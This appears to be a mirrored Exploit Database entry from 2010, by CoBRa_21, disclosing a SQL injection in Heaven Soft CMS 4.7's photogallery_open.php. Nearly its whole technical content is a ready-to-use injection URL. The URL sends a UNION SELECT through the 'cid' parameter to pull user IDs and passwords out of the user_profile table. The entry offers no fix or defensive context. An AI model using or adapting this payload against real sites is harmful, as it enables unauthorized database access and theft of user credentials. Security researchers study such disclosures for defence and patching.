Heaven Soft CMS 4.7 – ‘photogallery_open.php’ SQL Injection

• Exploit Database
• 104 阅读

• 作者： CoBRa_21
  日期： 2010-05-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12608/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  ------------------------------------------------------------------------------------------- Heaven Soft CMS v 4.7 (photogallery_open.php) SQL Injection Vulnerability ------------------------------------------------------------------------------------------- Author: CoBRa_21 Mail: uyku_cu@windowslive.com Script Home: http://www.heavensoft.com.pk/   ------------------------------------------------------------------------------------------- Sql Injection: http://localhost/[path]/photogallery_open.php?cid=-10%20union%20select%20group_concat%28user_id,0x3a,password%29+from+user_profile--   -------------------------------------------------------------------------------------------   Melekler Bize Aglar , Biz Halimize Guleriz......